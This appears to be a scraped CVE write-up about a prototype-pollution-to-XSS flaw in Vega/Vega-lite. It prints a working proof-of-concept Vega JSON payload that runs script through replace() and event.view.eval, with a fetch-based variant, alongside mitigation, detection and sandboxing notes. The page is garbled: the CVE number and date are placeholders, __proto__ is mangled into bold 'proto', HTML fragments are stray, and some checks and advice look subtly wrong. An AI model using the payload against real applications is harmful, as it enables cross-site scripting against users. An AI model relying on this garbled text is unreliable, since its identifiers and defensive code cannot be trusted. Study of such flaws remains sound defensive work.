How the CVE Works:
CVE-2023-XXXX exploits prototype pollution in Vega/Vega-lite’s JSON parsing, allowing arbitrary JavaScript execution via maliciously crafted schema definitions. The vulnerability arises when `replace()` is called with a RegExp-like object, triggering RegExp.prototype
</code>, which then invokes an attacker-controlled `exec` function. By abusing <code>event.view.eval</code>, an attacker can escalate to cross-site scripting (XSS). The payload manipulates the prototype chain to hijack regex execution, ultimately enabling arbitrary code execution when rendering Vega graphs.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Vega/Vega-lite
Version: <5.32.0
Vulnerability: Prototype Pollution → XSS
Severity: Critical
Date: 2023-XX-XX
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Exploitation:</h2>
<ol>
<li>Craft a malicious Vega JSON schema with a `replace()` call:
[bash]
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [{
"name": "exploit",
"on": [{
"events": "body:mousemove",
"update": "replace('alert(1)', {<strong>proto</strong>: /h/.constructor.prototype, exec: event.view.eval, global: false})"
}]
}]
}
2. Load the payload in a Vega-enabled application.
Mitigation:
- Upgrade to Vega v5.32.0+ or use
vega-interpreter. - Sanitize JSON inputs before processing.
- Disable unsafe dynamic evaluation in Vega configs.
Detection:
grep -r "replace(" --include=".json" /path/to/vega/configs
Patch Analysis:
Vega v5.32.0 enforces strict input validation and disallows prototype manipulation in replace().
Debugging:
// Check for prototype pollution attempts
if (typeof pattern.exec !== 'function') throw new Error("Invalid RegExp exec");
References:
Exploit Limitation:
Requires user interaction (e.g., `mousemove`) to trigger XSS.
Alternative Payloads:
{"update": "replace('fetch(...)', {<strong>proto</strong>: ..., exec: event.view.eval})"}
Log Monitoring:
tail -f /var/log/vega/errors.log | grep "replace\|exec"
Sandboxing:
Use `vm2` or Node.js `worker_threads` to isolate Vega execution.
End of Report.
References:
Reported By: https://github.com/advisories/GHSA-963h-3v39-3pqf
Extra Source Hub:
Undercode
